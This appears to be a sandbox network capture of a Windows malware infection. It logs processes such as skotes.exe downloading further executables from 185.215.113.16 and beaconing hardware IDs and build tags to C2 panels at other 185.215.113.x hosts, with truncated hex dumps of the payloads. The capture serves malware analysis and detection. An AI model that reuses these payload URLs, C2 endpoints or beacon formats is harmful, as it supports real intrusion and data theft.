Nov 1, 2024 00:39:09.817929983 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50012	185.215.113.16	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:09.826773882 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 00:39:10.724901915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:10 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 00:39:10.724920034 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]
Nov 1, 2024 00:39:10.724940062 CET	1236	IN	Data Raw: cc cc cc 55 8b ec 51 53 6a 04 68 00 30 00 00 68 c0 41 c8 17 6a 00 ff 15 30 72 6d 00 89 45 fc 50 83 f8 11 74 05 8b c0 fc 85 c9 0b c0 f8 58 83 7d fc 00 74 2c 90 8a c0 68 c0 9e e6 05 8b 45 fc 50 e8 3e 7a 01 00 53 8a c9 8a c9 fc 5b 68 00 80 00 00 68 Data Ascii: UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hjrmPrmE}ujqmR]U(EPqmMM}sjqm]
Nov 1, 2024 00:39:10.724951982 CET	1236	IN	Data Raw: c1 3c e8 98 95 01 00 8b 4d fc 83 c1 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 Data Ascii: <M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|M
Nov 1, 2024 00:39:10.724963903 CET	124	IN	Data Raw: 8d 8d 94 fe ff ff e8 e0 91 01 00 8b c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff Data Ascii: i[TMP*lxti^S
Nov 1, 2024 00:39:10.724984884 CET	1236	IN	Data Raw: ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff Data Ascii: H=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#BhXB
Nov 1, 2024 00:39:10.724999905 CET	1236	IN	Data Raw: 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c 00 00 00 00 c7 05 9c 73 6d 00 00 00 Data Ascii: ]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEM
Nov 1, 2024 00:39:10.725013018 CET	1236	IN	Data Raw: 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d 00 6a 11 68 d0 1e 42 00 68 e4 1e 42 Data Ascii: BhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBhB P
Nov 1, 2024 00:39:10.725028038 CET	636	IN	Data Raw: 00 e8 cd 1c 00 00 83 c4 0c a3 10 6c 6d 00 6a 0b 68 40 23 42 00 68 4c 23 42 00 e8 b4 1c 00 00 83 c4 0c a3 24 6d 6d 00 6a 16 68 58 23 42 00 68 70 23 42 00 e8 9b 1c 00 00 83 c4 0c a3 08 70 6d 00 6a 14 68 88 23 42 00 68 a0 23 42 00 e8 82 1c 00 00 83 Data Ascii: lmjh@#BhL#B$mmjhX#Bhp#Bpmjh#Bh#Blmjh#Bh#Bimmjh#Bh$BP8omjh$Bh($B7kmjh8$BhH$BmmjhX$Bht$Bnmjh$Bh$Bnmjh
Nov 1, 2024 00:39:10.725042105 CET	1236	IN	Data Raw: 6e 6d 00 6a 09 68 b0 26 42 00 68 bc 26 42 00 e8 43 1a 00 00 83 c4 0c a3 68 6d 6d 00 6a 13 68 c8 26 42 00 68 dc 26 42 00 e8 2a 1a 00 00 83 c4 0c a3 68 6f 6d 00 6a 0a 68 f0 26 42 00 68 fc 26 42 00 e8 11 1a 00 00 83 c4 0c a3 94 6c 6d 00 6a 13 68 08 Data Ascii: nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh'Bh'Bb
Nov 1, 2024 00:39:10.730020046 CET	1236	IN	Data Raw: 7c 2d 42 00 e8 7a 15 00 00 83 c4 0c a3 78 6e 6d 00 6a 0d 68 90 2d 42 00 68 a0 2d 42 00 e8 61 15 00 00 83 c4 0c a3 18 6c 6d 00 6a 0d 68 b0 2d 42 00 68 c0 2d 42 00 e8 48 15 00 00 83 c4 0c a3 7c 6f 6d 00 6a 0b 68 d0 2d 42 00 68 dc 2d 42 00 e8 2f 15 Data Ascii: \|-Bzxnmjh-Bh-Balmjh-Bh-BH\|omjh-Bh-B/kmjh-Bh-B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.BXlmj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50022	185.215.113.206	80	6044	C:\Users\user\AppData\Local\Temp\1003039001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:15.081607103 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 00:39:15.992077112 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 00:39:16.016935110 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="hwid"62937520F30F807656615------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="build"tale------BAAFBFBAAKECFIEBFIEC--
Nov 1, 2024 00:39:16.305172920 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50023	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:16.441303968 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003039001&unit=246122658369
Nov 1, 2024 00:39:17.346771955 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50027	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:18.986270905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:19.884310007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50030	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:21.426717997 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:22.340663910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50032	185.215.113.206	80	6444	C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:22.738929033 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 00:39:23.638557911 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 00:39:23.641124010 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEBGCAAECAKFHIIJDB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="hwid"62937520F30F807656615------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="build"tale------IDAEBGCAAECAKFHIIJDB--
Nov 1, 2024 00:39:23.922461987 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50034	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:23.974910975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:24.882415056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50038	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:26.403633118 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:27.340140104 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50039	185.215.113.16	80	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:26.483079910 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:39:27.400732040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:27 GMT Content-Type: application/octet-stream Content-Length: 2750464 Last-Modified: Thu, 31 Oct 2024 23:00:11 GMT Connection: keep-alive ETag: "67240bfb-29f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ !`Ui` @ @.rsrc`2@.idata 8@itokqeos)):@vqtnthmp @)@.taggant@`")@
Nov 1, 2024 00:39:27.400748014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.400758982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.400768995 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.400780916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.400818110 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.401233912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.401245117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:27.401254892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?\|-az.G\SI{;Qy*cX5e[[qpe&wf-Xy
Nov 1, 2024 00:39:27.401266098 CET	1236	IN	Data Raw: a7 04 79 1e 23 d0 83 aa 5f 79 b8 72 51 ad 79 90 62 5c 7c 63 34 4f 63 b1 74 1b 01 6d f6 5c 6b 5e 6d 4f 15 ca 74 19 31 28 75 fd 07 e2 b2 1b 7f 71 3b 96 39 78 75 00 96 68 dc a0 1c 35 7a 7c 7b d0 36 4e fb 33 fb 36 4f 2c 30 5c 3d a9 47 5c fb 20 75 e9 Data Ascii: y#_yrQyb\\|c4Octm\k^mOt1(uq;9xuh5z\|{6N36O,0\=G\ u8bLvQ)-z?/E.s/l I^R6g,~<SvLju6clvLn{F]UQb%$Wz>c}h6gYQqIq:fE`h\|>\|_$8xq!o
Nov 1, 2024 00:39:27.405735970 CET	1236	IN	Data Raw: 6e 34 3c cd 9a 22 3d 28 94 3b 2b 03 6c 9a 33 cc 82 0d 74 fa b4 38 d7 d8 b9 3c a0 2a 75 1a 18 d2 83 c7 82 d5 be 18 2c 69 01 29 50 24 49 0b 99 ca 85 30 46 0a 84 0f 04 22 b6 df ca cc 94 25 d3 df be 35 30 b8 9d 1d 49 1a 22 3b 11 cd 82 04 06 d8 93 50 Data Ascii: n4<"=(;+l3t8<u,i)P$I0F"%50I";PwV7h4<8Tj-+}Oe13]M>-'!b#U2{u){"k54CI4?}s,T9PJWH?3
Nov 1, 2024 00:39:37.179297924 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:39:37.461985111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:37 GMT Content-Type: application/octet-stream Content-Length: 1968128 Last-Modified: Thu, 31 Oct 2024 23:36:29 GMT Connection: keep-alive ETag: "6724147d-1e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf N@PN@WkDNN @.rsrcD@.idata @ p,@qodksccb 3@reojqbkzN@.taggant0 N"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
